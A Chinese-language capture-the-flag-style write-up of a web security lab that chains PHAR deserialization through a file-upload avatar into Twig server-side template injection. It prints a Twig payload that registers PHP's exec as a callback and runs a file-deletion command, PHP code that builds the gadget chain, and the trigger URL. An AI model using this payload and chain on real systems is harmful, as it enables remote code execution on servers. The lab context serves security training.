# Insecure deserialization Lab10
本題是不顯式使用反序列化。但是,如果將 PHAR 反序列化與其他高級駭客技術相結合,您仍然可以通過自定義小工具鏈實現遠程代碼執行。
要解決實驗室問題,請從 Carlos 的主目錄中刪除該檔 morale.txt。
使用以下認證登錄自己的帳戶:`wiener:peter`
一樣進入網站並登入。

這次多一個檔案上傳的功能,我嘗試上傳檔案後沒有出現其他東西,但在 Burp suite 中可以看到他一樣有其他 php 檔。

但這個 php 是看不到的,所以我們跳上一頁去看,可以看到有兩個檔案是能讀的。
`CustomTemplate.php~`:
```php
class CustomTemplate {
private $template_file_path;
private function isTemplateLocked() {
return file_exists($this->lockFilePath());
}
function __destruct() {
@unlink($this->lockFilePath());
}
private function lockFilePath()
{
return 'templates/' . $this->template_file_path . '.lock';
}
// ...其他程式碼
}
```
功能重點:
- 管理模板檔案的讀寫鎖定
- `lockFilePath()`會回傳鎖定檔案路徑
- `isTemplateLocked()` 判斷鎖定檔案是否存在(內部呼叫了 `file_exists()`)
- 反序列化時會調用 `__destruct()` 刪除鎖定檔案
而 `file_exists()` 會觸發對 `$template_file_path` 的存取,結合 PHAR `phar://` wrapper 可觸發 PHAR 反序列化漏洞
`Blog.php`:
```php
class Blog {
public $user;
public $desc;
private $twig;
public function __wakeup() {
$loader = new Twig_Loader_Array([
'index' => $this->desc,
]);
$this->twig = new Twig_Environment($loader);
}
public function __toString() {
return $this->twig->render('index', ['user' => $this->user]);
}
}
```
功能重點:
- 利用 Twig 模板引擎渲染 `desc`
- `__wakeup()` 初始化 Twig 環境,`desc` 會被放入模板內容
因此可透過序列化物件帶入惡意 Twig SSTI Payload,觸發任意程式碼執行。
整個結合起來,這個漏洞就是:
- CustomTemplate -> `template_file_path` 在檔案存取時,可能觸發 PHAR 反序列化
- 反序列化後,Blog -> `desc` 會在 `__wakeup()` 初始化 Twig,並在 `__toString()` 被渲染
- 透過 desc 內的 Twig SSTI Payload,利用 Twig 運行任意 PHP 指令
- 使 `phar://` wrapper 與上傳的 PHAR-JPG polyglot,觸發整個鏈條。
因此,我們透過上傳包含惡意 PHAR 序列化物件的 avatar,觸發 CustomTemplate 讀取 `phar://` 路徑引發反序列化,接著 Blog 類別利用 Twig 渲染被注入的 SSTI Payload,最終執行任意系統命令。
所以這裡我們要先有一個 payload:
```
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}
```
1. `{{ ... }}`
Twig 模板引擎的輸出語法,表示「執行裡面內容並輸出結果」。
2. `_self.env`
- `_self`:指模板自身物件。
- `.env`:Twig 的環境物件(Environment),管理模板設定和過濾器。
3. `.registerUndefinedFilterCallback("exec")`:
Twig 預設過濾器不存在時,會調用 `registerUndefinedFilterCallback` 註冊一個 callback,這裡把 PHP 的 exec 函數註冊成「未定義過濾器」的 callback,讓後續呼叫過濾器時,能直接執行 `exec()`。
4. `{{_self.env.getFilter("rm /home/carlos/morale.txt")}}`:
這行透過環境物件調用過濾器 getFilter,因為我們剛剛註冊 exec 為未定義過濾器 callback,`getFilter("rm /home/carlos/morale.txt") `會被觸發為:
```php
exec("rm /home/carlos/morale.txt");
```
也就是說,getFilter 被當成一個函數呼叫,執行刪除檔案指令。
再來就是做我們的 php 內容:
```php
class CustomTemplate {}
class Blog {}
$object = new CustomTemplate();
$blog = new Blog();
$blog->desc = '{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}';
$blog->user = 'user';
$object->template_file_path = $blog;
```
1. `class CustomTemplate {}` 與 `class Blog {}`:
宣告兩個空的類別,和目標程式碼中對應的類別名稱一致(沒寫內容,因為反序列化只看類名和屬性)
2. `$object = new CustomTemplate();`:
建立一個 CustomTemplate 物件,我們要當作序列化的「根物件」
3. `$blog = new Blog();`:
建立一個 Blog 物件,將被當作 CustomTemplate 的一個屬性
4. `$blog->desc = '{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}';`:
把上面拆解過的 Twig SSTI Payload 放入 Blog 物件的 desc 屬性,這個字串會在被 Twig 渲染時被執行,觸發系統指令
5. `$blog->user = 'carlos';`:
給 Blog 物件加一個 user 屬性(本題使用者)
6.` $object->template_file_path = $blog;`:
將 Blog 物件賦值給 CustomTemplate 的 template_file_path 屬性
這樣組合後,序列化 `$object`,反序列化時就會觸發整條 gadget chain。
完成內容後,我們要將這段 php 轉成 .jpg(網站規定),所以我們在 github 可以找到相關的內容。

下載好後去 nano 作者提供的 php 檔,並在裡面加上我們的 php 內容。

執行就可以拿到一個有毒的 .jpg。

之後拿去上傳。

上傳成功後我們去 GET `/cgi-bin/avatar.php?avatar=phar://wiener`,觸發 PHAR 反序列化,執行 Twig SSTI Payload。


---